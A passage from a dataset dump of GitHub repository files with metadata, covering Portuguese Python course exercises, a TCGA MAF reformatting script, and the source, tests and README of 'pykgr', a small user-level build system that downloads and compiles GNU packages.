conta1.deposito(100.0)\\n time.sleep(1)\\n conta1.saque(50.0)\\n time.sleep(1)\\n conta1.get_historico().mostra_historico()\\n conta1.extrato()\\n conta1.get_historico().mostra_historico()\\n cliente2 = Cliente('José', 'Azevedo', '222222222-22')\\n conta2 = Conta('123-5', cliente2, 1000.0) # Chama o construtor de Conta e passa um objeto da classe Cliente\\n conta1.transfere_para(conta2, 200.0)\\n print('conta1.get_saldo()', conta1.get_saldo())\\n print('conta2.get_saldo()', conta2.get_saldo())\\n conta1.get_historico().mostra_historico()\\n conta2.get_historico().mostra_historico()\\n conta1.extrato()\\n # Extrato: número: 123-4, saldo: 850.0\\n conta1.extrato_2()\\n print('Abertura: ', conta1.historico.get_data_abertura())\\n conta1.get_historico().mostra_historico()\\n conta2.extrato()\\n conta2.extrato_2()\\n conta1.deposito2(222.0)\\n conta2.get_historico().mostra_historico() # Histórico sem nonme\\n nome_cliente = conta2.get_titular_nome()\\n conta2.historico.mostra_historico2(nome_cliente) # Histórico com nome\\n # conta2.historico.mostra_historico2(conta2.get_titular_nome()) # Histórico com nome\\n # Lista todos métodos e atributos que a classe possui.\\n print('dir(Conta):\\\\n', dir(Conta))\\n print('conta1.__class__ :\\\\n', conta1.__class__)\\n # Retorna um dicionário com os atributos da classe.\\n print('conta1.__dict__ :\\\\n', conta1.__dict__)\\n # A função embutida do Python, vars(), chama o __dict__ de uma classe. Retorna um dicionário com os atributos\\n print('vars(conta1):\\\\n', vars(conta1))\"\n },\n {\n \"alpha_fraction\": 0.6399999856948853,\n \"alphanum_fraction\": 0.6549999713897705,\n \"avg_line_length\": 27.571428298950195,\n \"blob_id\": \"8be8d99b21fb8882778c4b1fb74cc4b682847d8a\",\n \"content_id\": \"3b22729336c16e6080825d336b881b882304cd98\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 200,\n \"license_type\": \"permissive\",\n \"max_line_length\": 55,\n \"num_lines\": 7,\n \"path\": \"/Curso-Em-Video/M1/ex27.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nnome=str(input(\\\"Digite o seu nome completo: \\\")).strip()\\nlista= nome.split()\\nfirst= lista[0]\\nlast = lista[len(lista)-1]\\n\\nprint(f'\\\\nPrimeiro nome: {first}\\\\nUltimo nome: {last}')\\n\"\n },\n {\n \"alpha_fraction\": 0.6000000238418579,\n \"alphanum_fraction\": 0.6346153616905212,\n \"avg_line_length\": 25,\n \"blob_id\": \"491c823825a614c2219f676feb09998224f1c869\",\n \"content_id\": \"a966989c9c90bfcdb4c43e2e8f7c39cdec2050e9\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 260,\n \"license_type\": \"permissive\",\n \"max_line_length\": 55,\n \"num_lines\": 10,\n \"path\": \"/Curso-Em-Video/M1/ex19.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nimport random\\n\\nn1 = str(input('Primeiro aluno: '))\\nn2 = str(input('Segundo aluno: '))\\nn3 = str(input('Terceiro aluno: '))\\nn4 = str(input('Quarto aluno: '))\\nlista = [n1,n2,n3,n4]\\n\\nprint(f'O aluno escolhido foi: {random.choice(lista)}')\\n\"\n },\n {\n \"alpha_fraction\": 0.6531531810760498,\n \"alphanum_fraction\": 0.6711711883544922,\n \"avg_line_length\": 26.75,\n \"blob_id\": \"b0925255742d84c2827d93be4ebb2332b42ba2ea\",\n \"content_id\": \"eeda9a3cdc03749be5b4cbcdb02c822d330b7412\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 223,\n \"license_type\": \"permissive\",\n \"max_line_length\": 47,\n \"num_lines\": 8,\n \"path\": \"/Curso-Em-Video/M1/ex17.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nfrom math import pow, sqrt\\ncat=float(input('Digite o cateto oposto: '))\\ncaa=float(input('Digite o cateto adjacente: '))\\n\\nhip=sqrt(pow(cat,2)+pow(caa,2))\\n\\nprint(f'O valor da hipotenusa é {hip:.2f}')\\n\"\n },\n {\n \"alpha_fraction\": 0.7947883009910583,\n \"alphanum_fraction\": 0.7947883009910583,\n \"avg_line_length\": 33.22222137451172,\n \"blob_id\": \"8e0cfb926ab6192906cf4b6b46741d8badb979d6\",\n \"content_id\": \"72da344b2df5b697acbf36a906d01b47ab1a54c8\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 318,\n \"license_type\": \"permissive\",\n \"max_line_length\": 108,\n \"num_lines\": 9,\n \"path\": \"/Geek-University/Seção3/Dir_help.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\\"\\\"\\\"\\nDir -> Apresenta todos os atributos e funções/metódos disponiveis para determinado tipo de dado ou variável.\\n\\nHelp -> Apresenta a documentação/ como utilizar os atributos/propriedades e funções/métodos disponíveis\\npara determinado tipo de dado ou variável.\\n\\nhelp(tipo de dado/variavel.propriedade)\\n\\n\\\"\\\"\\\"\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":144,"string":"144"}}},{"rowIdx":2984065,"cells":{"repo_name":{"kind":"string","value":"wisRen/blog_scripts"},"repo_url":{"kind":"string","value":"https://github.com/wisRen/blog_scripts"},"snapshot_id":{"kind":"string","value":"92318fea64486652c376e2ac3f536c4ab9effc84"},"revision_id":{"kind":"string","value":"2a32e8c0d20734eaf81a1dcb4215a44663a5baaf"},"directory_id":{"kind":"string","value":"c11fc35d361aca495c38163503b15b6703677c99"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2023-03-17T07:39:52.604127","string":"2023-03-17T07:39:52.604127"},"revision_date":{"kind":"timestamp","value":"2020-03-03T08:17:00","string":"2020-03-03T08:17:00"},"committer_date":{"kind":"timestamp","value":"2020-03-03T08:17:00","string":"2020-03-03T08:17:00"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.7692307829856873,"alphanum_fraction":0.7692307829856873,"avg_line_length":25,"blob_id":"6ce8c5e6e85467f2c8a8821c63f7bfb0308c76ac","content_id":"8d4fe2f06c93537bd076b18b6f467c4b46888c8d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":52,"license_type":"no_license","max_line_length":36,"num_lines":2,"path":"/README.md","repo_name":"wisRen/blog_scripts","src_encoding":"UTF-8","text":"# blog_scripts\nTo share the scripts used in my blog\n"},{"alpha_fraction":0.468914657831192,"alphanum_fraction":0.4889357089996338,"avg_line_length":23.33333396911621,"blob_id":"c35f5a2571f4ac8d061418d464cc1dd87981c1e0","content_id":"6a4abfc0695a4044778bcaca67ba9c9a8a155bf7","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":949,"license_type":"no_license","max_line_length":70,"num_lines":39,"path":"/01.archives_9/tcga_format.py","repo_name":"wisRen/blog_scripts","src_encoding":"UTF-8","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Author: Xiaofei Zeng\n# Email: xiaofei_zeng@whu.edu.cn\n# Created Time: 2019-05-15 11:23\n# Python 2.7\n\nfrom __future__ import print_function\nimport sys\nimport gzip\n\ndef handle_maf(maf_file):\n count_dict = {}\n if maf_file.endswith('.gz'):\n fopen = gzip.open\n else:\n fopen = open\n with fopen(maf_file) as f:\n for line in f:\n if line.startswith('#'):\n print(line, end='')\n continue\n ls = line.split('\\t')\n # header\n if line.startswith('Hugo'):\n index = ls.index('Tumor_Sample_Barcode')\n print(line, end='')\n continue\n # content\n prefix = ls[index].rsplit('-', 4)[0]\n new_line = '\\t'.join(ls[:index] + [prefix] + ls[index+1:])\n print(new_line, end='')\n\ndef main():\n handle_maf(sys.argv[1])\n\nif __name__ == '__main__':\n main()\n"}],"string":"[\n {\n \"alpha_fraction\": 0.7692307829856873,\n \"alphanum_fraction\": 0.7692307829856873,\n \"avg_line_length\": 25,\n \"blob_id\": \"6ce8c5e6e85467f2c8a8821c63f7bfb0308c76ac\",\n \"content_id\": \"8d4fe2f06c93537bd076b18b6f467c4b46888c8d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 52,\n \"license_type\": \"no_license\",\n \"max_line_length\": 36,\n \"num_lines\": 2,\n \"path\": \"/README.md\",\n \"repo_name\": \"wisRen/blog_scripts\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# blog_scripts\\nTo share the scripts used in my blog\\n\"\n },\n {\n \"alpha_fraction\": 0.468914657831192,\n \"alphanum_fraction\": 0.4889357089996338,\n \"avg_line_length\": 23.33333396911621,\n \"blob_id\": \"c35f5a2571f4ac8d061418d464cc1dd87981c1e0\",\n \"content_id\": \"6a4abfc0695a4044778bcaca67ba9c9a8a155bf7\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 949,\n \"license_type\": \"no_license\",\n \"max_line_length\": 70,\n \"num_lines\": 39,\n \"path\": \"/01.archives_9/tcga_format.py\",\n \"repo_name\": \"wisRen/blog_scripts\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/usr/bin/env python\\n# -*- coding: utf-8 -*-\\n\\n# Author: Xiaofei Zeng\\n# Email: xiaofei_zeng@whu.edu.cn\\n# Created Time: 2019-05-15 11:23\\n# Python 2.7\\n\\nfrom __future__ import print_function\\nimport sys\\nimport gzip\\n\\ndef handle_maf(maf_file):\\n count_dict = {}\\n if maf_file.endswith('.gz'):\\n fopen = gzip.open\\n else:\\n fopen = open\\n with fopen(maf_file) as f:\\n for line in f:\\n if line.startswith('#'):\\n print(line, end='')\\n continue\\n ls = line.split('\\\\t')\\n # header\\n if line.startswith('Hugo'):\\n index = ls.index('Tumor_Sample_Barcode')\\n print(line, end='')\\n continue\\n # content\\n prefix = ls[index].rsplit('-', 4)[0]\\n new_line = '\\\\t'.join(ls[:index] + [prefix] + ls[index+1:])\\n print(new_line, end='')\\n\\ndef main():\\n handle_maf(sys.argv[1])\\n\\nif __name__ == '__main__':\\n main()\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":2,"string":"2"}}},{"rowIdx":2984066,"cells":{"repo_name":{"kind":"string","value":"DylanEHolland/pykgr.old"},"repo_url":{"kind":"string","value":"https://github.com/DylanEHolland/pykgr.old"},"snapshot_id":{"kind":"string","value":"f624bdd98004583e50357d408f4db388d66de771"},"revision_id":{"kind":"string","value":"e66442790a29b0fa0d1e4586abf442cd927c8015"},"directory_id":{"kind":"string","value":"7a9b123b08622e590c3c984650e4b5d15f71b656"},"branch_name":{"kind":"string","value":"refs/heads/main"},"visit_date":{"kind":"timestamp","value":"2023-07-17T21:48:49.626989","string":"2023-07-17T21:48:49.626989"},"revision_date":{"kind":"timestamp","value":"2021-08-31T00:48:27","string":"2021-08-31T00:48:27"},"committer_date":{"kind":"timestamp","value":"2021-08-31T00:48:27","string":"2021-08-31T00:48:27"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.6138306260108948,"alphanum_fraction":0.6138306260108948,"avg_line_length":25.83333396911621,"blob_id":"ee494a96107fdf7ac9dbf938ca0c302ab98c3dab","content_id":"e4602ef35a850b60dc3db6e928f64924897caee1","detected_licenses":["BSD-3-Clause"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1287,"license_type":"permissive","max_line_length":102,"num_lines":48,"path":"/pykgr/builder.py","repo_name":"DylanEHolland/pykgr.old","src_encoding":"UTF-8","text":"import os\nfrom pykgr.subroutines import import_from_string\n\n\nclass Builder(object):\n data = None\n\n def __init__(self, **kwargs):\n self.data = BuilderData(**kwargs)\n\n if not self.data.directory:\n raise Exception(\"What can we do without a directory?\")\n\n if not os.path.exists(self.data.directory):\n os.mkdir(self.data.directory)\n\n def build(self, package_class):\n if type(package_class) == str:\n package_class = import_from_string(package_class)\n\n package_to_build = package_class()\n package_to_build.__build__()\n\n def build_toolchain(self):\n binutils = import_from_string(\"base.packages.binutils.Binutils\")\n gcc = import_from_string(\"base.packages.gcc.Gcc\")\n\n self.build(binutils)\n self.build(gcc)\n\n def build_library(self):\n lib = import_from_string(\"toolchain.glibc\")\n self.build(lib)\n\n\nclass BuilderData:\n def __init__(self, **kwargs):\n self.directory = None\n\n self_keys = [row for row in dir(self) if \"__\" not in row and not callable(getattr(self, row))]\n for key in kwargs:\n if key in self_keys:\n setattr(self, key, kwargs.get(key))\n\n\nclass BuilderLibrary:\n # For maintaining a local glibc\n pass"},{"alpha_fraction":0.6152694821357727,"alphanum_fraction":0.6302395462989807,"avg_line_length":32.45000076293945,"blob_id":"bc7a5725ce89d942fb5139550d70b6d2f92a5a14","content_id":"f11a256555eae89c30082d0aff2baf88c1e84287","detected_licenses":["BSD-3-Clause"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":668,"license_type":"permissive","max_line_length":104,"num_lines":20,"path":"/setup.py","repo_name":"DylanEHolland/pykgr.old","src_encoding":"UTF-8","text":"from distutils.core import setup\nsetup(\n name = 'pykgr',\n packages = ['pykgr'],\n version = '0.1',\n description = 'A never root software builder, like nix for poor people',\n author = 'Dylan Holland',\n author_email = 'salinson1138@gmail.com',\n url = 'https://github.com/DylanEHolland/pykgr',\n download_url = 'https://github.com/DylanEHolland/pykgr/archive/0.1.tar.gz',\n keywords = ['SOFTWARE',\"PACKAGER\"],\n install_requires=[ \n 'argparse',\n ],\n classifiers=[\n 'Development Status :: 3 - Alpha', # Chose either \"3 - Alpha\", \"4 - Beta\" or \"5 - Production/Stable\"\n 'Topic :: Software Development :: Build Tools',\n 'Programming Language :: Python :: 3.8',\n ],\n)"},{"alpha_fraction":0.5757575631141663,"alphanum_fraction":0.5757575631141663,"avg_line_length":17.200000762939453,"blob_id":"df64cb18c7082208c38362a77ea6afa19bdf64ed","content_id":"bffe1d6b6d2ec1632732fe6202e55093ee0964fd","detected_licenses":["BSD-3-Clause"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":363,"license_type":"permissive","max_line_length":44,"num_lines":20,"path":"/tests/test_001-shell.py","repo_name":"DylanEHolland/pykgr.old","src_encoding":"UTF-8","text":"from pykgr.shell import Command, Shell\n\n\ndef test_command():\n cmd = Command(\"hello\")\n output = \"Hello, world!\"\n\n assert cmd.run() == 'Hello, world!\\n'\n\n\ndef test_command_methods():\n sh = Shell()\n ls_command = sh.command(\"ls\", \"/\").run()\n\n assert ls_command == sh.ls(\"/\")\n\n\nif __name__ == \"__main__\":\n test_command()\n test_command_methods()"},{"alpha_fraction":0.6263736486434937,"alphanum_fraction":0.6263736486434937,"avg_line_length":28.859375,"blob_id":"33761fd53ccb4fda18886f5ae4b555d35c34e13d","content_id":"954af4868b37d6496b8c21d31064a1c0bbf4b1e0","detected_licenses":["BSD-3-Clause"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1911,"license_type":"permissive","max_line_length":98,"num_lines":64,"path":"/pykgr/cli.py","repo_name":"DylanEHolland/pykgr.old","src_encoding":"UTF-8","text":"from pykgr.subroutines import load_config, setup_paths\nfrom argparse import ArgumentParser\nfrom pykgr.environment import Environment, initialize\nfrom pykgr import config\nimport os\n\n\ndef arguments():\n ap = ArgumentParser()\n \n ap.add_argument(\"--build-library\", action=\"store_true\")\n ap.add_argument(\"--build-toolchain\", action=\"store_true\")\n ap.add_argument(\"--init\", action=\"store_true\")\n ap.add_argument(\"--package-file\", \"-p\", help=\"Pass a package class to be built and installed\")\n ap.add_argument(\"--package-module\", \"-pm\", action=\"append\")\n ap.add_argument(\"--verbose\", \"-v\", action=\"store_true\")\n \n return ap.parse_args()\n\n\ndef spawn_interface():\n # Handle command line arguments\n\n args = arguments()\n load_config(args)\n setup_paths(args)\n\n if args.init:\n if args.verbose:\n print(\"Initializing\")\n env = initialize()\n else:\n env = Environment()\n\n if config.toolchain_package_module:\n if args.verbose:\n print(\"Using toolchain module from\", config.toolchain_package_module)\n\n compiler = \"%s/bin/gcc\" % config.builder_directory\n\n if args.verbose:\n print(\"Looking for environment in %s...\" % config.main_directory, end=' ')\n if not os.path.isfile(compiler):\n print(\"\\nToolchain doesn't exist!\")\n else:\n print(\"Found!\")\n\n if args.build_toolchain:\n if args.verbose:\n print(\"Building compiler\")\n env.builder.build_toolchain()\n # if not os.path.exists(\"%s/lib\" % config.library_directory):\n # print(\"Building glibc\")\n # env.builder.build_library()\n \n if args.build_library:\n if args.verbose:\n print(\"Building glibc\")\n env.builder.build_library()\n\n if args.package_file:\n if args.verbose:\n print(\"Building\", args.package_file)\n env.build_package(args.package_file)\n"},{"alpha_fraction":0.8363636136054993,"alphanum_fraction":0.8363636136054993,"avg_line_length":27,"blob_id":"e4fd5d1e7bf41f4c741b2233f537d83eaa2a3e7b","content_id":"cc2f4c6b1742ccff959908303ef446c0726cf6ee","detected_licenses":["BSD-3-Clause"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":55,"license_type":"permissive","max_line_length":37,"num_lines":2,"path":"/pykgr/__main__.py","repo_name":"DylanEHolland/pykgr.old","src_encoding":"UTF-8","text":"from pykgr.cli import spawn_interface\nspawn_interface()"},{"alpha_fraction":0.7086465954780579,"alphanum_fraction":0.7086465954780579,"avg_line_length":22.173913955688477,"blob_id":"6f131359a33d9b67a386160351384e4222828306","content_id":"d934c5137052d9a6059e2999de11ab840e72dfb4","detected_licenses":["BSD-3-Clause"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":532,"license_type":"permissive","max_line_length":73,"num_lines":23,"path":"/tests/test_004-builder.py","repo_name":"DylanEHolland/pykgr.old","src_encoding":"UTF-8","text":"import pykgr\nfrom pykgr.subroutines import add_module, import_from_string, setup_paths\nimport sys\nfrom common import get_current_path\npykgr.config.setup(\"/tmp/pykgr_test\")\n\n\ndef test_loading_module():\n path = get_current_path()\n base_module = path+\"base\"\n add_module(base_module)\n\n assert base_module in sys.path\n\n\ndef test_builder_setup():\n builder = pykgr.Builder(directory=pykgr.config.builder_directory)\n builder.build_toolchain()\n\n\nif __name__ == \"__main__\":\n test_loading_module()\n test_builder_setup()"},{"alpha_fraction":0.5963636636734009,"alphanum_fraction":0.6000000238418579,"avg_line_length":23.571428298950195,"blob_id":"6251cdff165dfe0269b85c7b71113c6c29babac5","content_id":"f56f2ed20152e29a939d61d95c028d719f45dc32","detected_licenses":["BSD-3-Clause"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1375,"license_type":"permissive","max_line_length":74,"num_lines":56,"path":"/pykgr/subroutines.py","repo_name":"DylanEHolland/pykgr.old","src_encoding":"UTF-8","text":"from pykgr import config\nimport sys\nimport os\n\n\ndef add_module(mod_path):\n # mod_path = \"/\".join(mod_path.split(\"/\")[:-1])\n if mod_path not in sys.path:\n sys.path.insert(0, mod_path)\n\n\ndef import_from_string(string):\n # Return an import module from a string\n # e.g. example.class\n\n packages = string.split(\".\")\n if len(packages):\n main_package = \".\".join(packages[0:-1])\n main_class = packages[-1]\n potential_module = __import__(main_package, fromlist=[main_class])\n package_class = getattr(potential_module, main_class)\n\n return package_class\n\n\ndef load_config(args):\n # Update config class if files are present\n\n for conf_file in [\n \"%s/.pykgr.json\" % os.environ.get('HOME'),\n \"%s/pykgr.json\" % os.environ[\"PWD\"]\n ]:\n if os.path.isfile(conf_file):\n config.from_file(conf_file)\n\n if args.verbose:\n config.verbose = args.verbose\n\n\ndef setup_paths(args):\n # Setup pythonpath so we can call local package\n # classes.\n\n if config.toolchain_package_module:\n add_module(config.toolchain_package_module)\n\n if args.package_module:\n packages = args.package_module\n for pm in packages:\n add_module(pm)\n\n print(\"\\n=\\nFinal $PYTHONPATH:\")\n for d in sys.path:\n if len(d):\n print(\"\\t%s\" % d)\n print(\"==\\n\")"},{"alpha_fraction":0.5965834259986877,"alphanum_fraction":0.6018396615982056,"avg_line_length":21.41176414489746,"blob_id":"6c6504f9634b9fe61072007b9d26ff9afe5f41c8","content_id":"470c5105e6a83d65d99501c3b808f91ec8616b43","detected_licenses":["BSD-3-Clause"],"is_generated":false,"is_vendor":false,"language":"Makefile","length_bytes":761,"license_type":"permissive","max_line_length":77,"num_lines":34,"path":"/Makefile","repo_name":"DylanEHolland/pykgr.old","src_encoding":"UTF-8","text":"PY_INT=python3\n\nall: setup\n\nclean:\n\t@-for d in `find pykgr example base -name __pycache__`; do rm -rv $$d; done;\n\t@-for d in `find pykgr example base -name *.pyc`; do rm -rv $$d; done;\n\t@-if [ -d dist ]; then rm -r dist; fi;\n\t@-if [ -f MANIFEST ]; then rm MANIFEST; fi;\n\nprepare: setup\n\t@-$(PY_INT) setup.py sdist;\n\nproper: clean\n\t@-if [ -d env ]; then rm -r env; fi;\n\npush:\n\t@-twine upload dist/*;\n\nsetup:\n\t@-if ! [ -d env ]; then $(PY_INT) -m venv env; fi;\n\t@-source env/bin/activate && pip install -r requirements.txt;\n\nview_links: view_ld_list view_c_list view_cpp_list\n\t@-echo done;\n\nview_ld_list:\n\tld --verbose | grep SEARCH_DIR | tr -s ' ;' \\\\012;\n\nview_c_list:\n\techo | gcc -x c -E -Wp,-v - >/dev/null;\n\nview_cpp_list:\n\tgcc -x c++ -E -Wp,-v - >/dev/null;"},{"alpha_fraction":0.5593220591545105,"alphanum_fraction":0.5738498568534851,"avg_line_length":23.294116973876953,"blob_id":"d7d99787cc99554404ab16d9a7017f99eea210b3","content_id":"25cc8a60adf92ac58c94b3afba9e0989251a4afc","detected_licenses":["BSD-3-Clause"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":413,"license_type":"permissive","max_line_length":69,"num_lines":17,"path":"/base/packages/python.py","repo_name":"DylanEHolland/pykgr.old","src_encoding":"UTF-8","text":"import pykgr\nimport os\n\n\nclass Python(pykgr.Package):\n file_url = \"https://github.com/python/cpython/archive/3.9.tar.gz\"\n name = \"cpython\"\n version = \"3.9\"\n file_name = \"3.9.tar.gz\"\n no_build_dir = True\n\n def configure(self):\n self.shell.command(\n \"./configure\",\n \"--prefix=%s\" % pykgr.config.packages_directory,\n \"--enable-optimizations\"\n ).run()\n"},{"alpha_fraction":0.5649209022521973,"alphanum_fraction":0.5649209022521973,"avg_line_length":25.38129425048828,"blob_id":"4d1c914f210029a25f0824baa01127c5b75c0589","content_id":"a772f6e2a3d695d6851dd9d2fb968d21dfbc664a","detected_licenses":["BSD-3-Clause"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3666,"license_type":"permissive","max_line_length":101,"num_lines":139,"path":"/pykgr/package.py","repo_name":"DylanEHolland/pykgr.old","src_encoding":"UTF-8","text":"from pykgr.shell import Shell\nimport pykgr\nimport os\nimport shutil\n\n\nclass Package(object):\n # This class contains the methods needed to compile most\n # gnu and open source projects.\n #\n # For packages that aren't compiled you can overload any\n # method needed to change the flow (as well as in derived classes,\n # see base/toolchain module for package derivatives.)\n\n build_directory = None\n code_directory = None\n compile_directory = None # e.g. if code_directory has a subdir, so \"{code_directory}/src\" for vim\n subdirectory_location = None\n file_name = None\n file_url = None\n name = None\n repo = False\n repo_url = None\n shell = None\n version = None\n\n no_build_dir = False\n\n def __build__(self):\n if pykgr.config.verbose:\n print(\"\\nBuilding\", self.file_url)\n\n self.get_code()\n self.prepare()\n self.generate()\n\n def __init__(self, **kwargs):\n self.shell = Shell(PWD=pykgr.config.source_directory)\n self.code_directory = \"%s/%s\" % (\n pykgr.config.source_directory,\n \"%s-%s\" % (\n self.name,\n self.version\n )\n )\n\n self.working_directory = self.code_directory\n if self.compile_directory:\n self.working_directory = self.working_directory + self.compile_directory\n\n self.build_directory = \"%s/build\" % self.code_directory\n self.__initialize__()\n\n def __initialize__(self):\n pass\n\n def __str__(self):\n return \"<package [%s-%s]>\" % (self.name, str(self.version))\n\n def configure(self):\n self.shell.command(\n \"%s/configure\" % self.working_directory,\n \"--prefix=%s\" % pykgr.config.packages_directory\n ).run()\n\n def decompress(self):\n if os.path.exists(self.code_directory):\n if pykgr.config.verbose:\n print(\"Decompressed code exists, removing...\")\n self.shell.command(\"rm\", \"-rfv\", self.code_directory).run()\n\n self.untar()\n\n def fetch(self):\n self.shell.cd(pykgr.config.source_tarballs_directory)\n\n self.shell.command(\n \"wget\", \n \"-c\",\n self.file_url.encode()\n ).run()\n\n def generate(self):\n self.make()\n self.install()\n\n def get_code(self):\n if not self.repo:\n self.fetch()\n self.decompress()\n\n def install(self):\n if self.no_build_dir:\n self.shell.cd(self.working_directory)\n else:\n self.shell.cd(self.build_directory)\n\n self.shell.make(\n \"-j%s\" % pykgr.config.make_opts,\n \"install\"\n )\n\n def make(self):\n if self.no_build_dir:\n self.shell.cd(self.working_directory)\n else:\n self.shell.cd(self.build_directory)\n\n self.shell.make(\"-j%s\" % pykgr.config.make_opts)\n\n def prepare(self):\n self.shell.cd(self.working_directory)\n\n if not self.no_build_dir:\n if os.path.exists(self.build_directory):\n shutil.rmtree(self.build_directory)\n\n if not os.path.exists(self.build_directory):\n os.mkdir(self.build_directory)\n self.shell.cd(self.build_directory)\n\n self.pre_configure_run()\n self.configure()\n\n def pre_configure_run(self):\n # Should be overwritten\n pass\n\n def untar(self):\n self.shell.tar(\n \"xvf\",\n pykgr.config.source_directory + \"/tarballs/\" + self.file_name,\n \"-C\",\n pykgr.config.source_directory\n )\n\n\nclass PackageList(object):\n pass"},{"alpha_fraction":0.5396825671195984,"alphanum_fraction":0.5502645373344421,"avg_line_length":20,"blob_id":"cc904a879bbcf3de28e95b4fe4be00b9de95907d","content_id":"94d20cb437cf500119a402c7bac67600374b83a5","detected_licenses":["BSD-3-Clause"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":189,"license_type":"permissive","max_line_length":40,"num_lines":9,"path":"/tests/common.py","repo_name":"DylanEHolland/pykgr.old","src_encoding":"UTF-8","text":"import os\n\n\ndef get_current_path():\n path = os.environ['PWD']\n split_path = path.split(\"/\")\n if split_path[-1] == \"tests\":\n path = \"/\".join(split_path[:-1])\n return path\n"},{"alpha_fraction":0.6200640201568604,"alphanum_fraction":0.6456776857376099,"avg_line_length":24.324323654174805,"blob_id":"c78af2e86e9df3096e62daa7053f533f43121a70","content_id":"619558f1e88628a842c0bbf3b30494de38c1cdc1","detected_licenses":["BSD-3-Clause"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":937,"license_type":"permissive","max_line_length":79,"num_lines":37,"path":"/tests/test_003-package.py","repo_name":"DylanEHolland/pykgr.old","src_encoding":"UTF-8","text":"import pykgr\nimport os\npykgr.config.setup(\"/tmp/pykgr_test\")\n\n\nclass Hello(pykgr.Package):\n file_url = \"https://ftp.gnu.org/gnu/hello/hello-2.9.tar.gz\"\n file_name = \"hello-2.9.tar.gz\"\n name = \"hello\"\n version = \"2.9\"\n\n\nclass Vim(pykgr.Package):\n file_url = \"https://github.com/vim/vim/archive/refs/tags/v8.2.3301.tar.gz\"\n file_name = \"v8.2.3301.tar.gz\"\n name = \"vim\"\n version = \"8.2.3301\"\n compile_directory = \"/src\"\n no_build_dir=True\n\n def pre_configure_run(self):\n # Already should be in `working_dir`\n self.shell.make(\"distclean\", display_output=True)\n\n\ndef test_build_packages():\n env = pykgr.Environment()\n\n env.build_package(Hello)\n assert os.path.exists(pykgr.config.packages_directory+\"/bin/hello\") is True\n\n # env.build_package(Vim)\n # assert os.path.exists(pykgr.config.packages_directory+\"/bin/vim\") is True\n\n\nif __name__ == \"__main__\":\n test_build_packages()\n"},{"alpha_fraction":0.7096773982048035,"alphanum_fraction":0.7143980860710144,"avg_line_length":29.214284896850586,"blob_id":"9b7724f08f17f63a38ed8ca69903eca5ebce214c","content_id":"b902a4d6e9c6bdfcd603666426f000815bdd6550","detected_licenses":["BSD-3-Clause"],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":1271,"license_type":"permissive","max_line_length":84,"num_lines":42,"path":"/README.md","repo_name":"DylanEHolland/pykgr.old","src_encoding":"UTF-8","text":"# pykgr\n\n## A simple, user focused, build system (for learning purposes)\n\nYou will want to edit the pykgr.json file in the root of this repo to \npoint to the repos location. Alternatively you can setup a \n.pykgr.json and pip install it (but use any other dir as the one in \nthis directory will overwrite certain configurations.)\n\nThen just `python -m pykgr --init --build-toolchain -p base.packages.python.Python`\n\nThe packages module is located in the `base` directory which is imported by default.\nYou can pass any arbitrary directory with submodules to then use, e.g. this \ndirectory\n\n . mypackages\n . recipes\n . hello.py\n . python.py\n\nwould allow you to install vim like so\n\n`python -m pykgr -p mypackages.recipes.hello.Hello`\n\nIt can also be used in code, like this\n\n```\nimport pykgr\n\nclass Hello(pykgr.Package):\n file_url = \"https://ftp.gnu.org/gnu/hello/hello-2.9.tar.gz\"\n file_name = 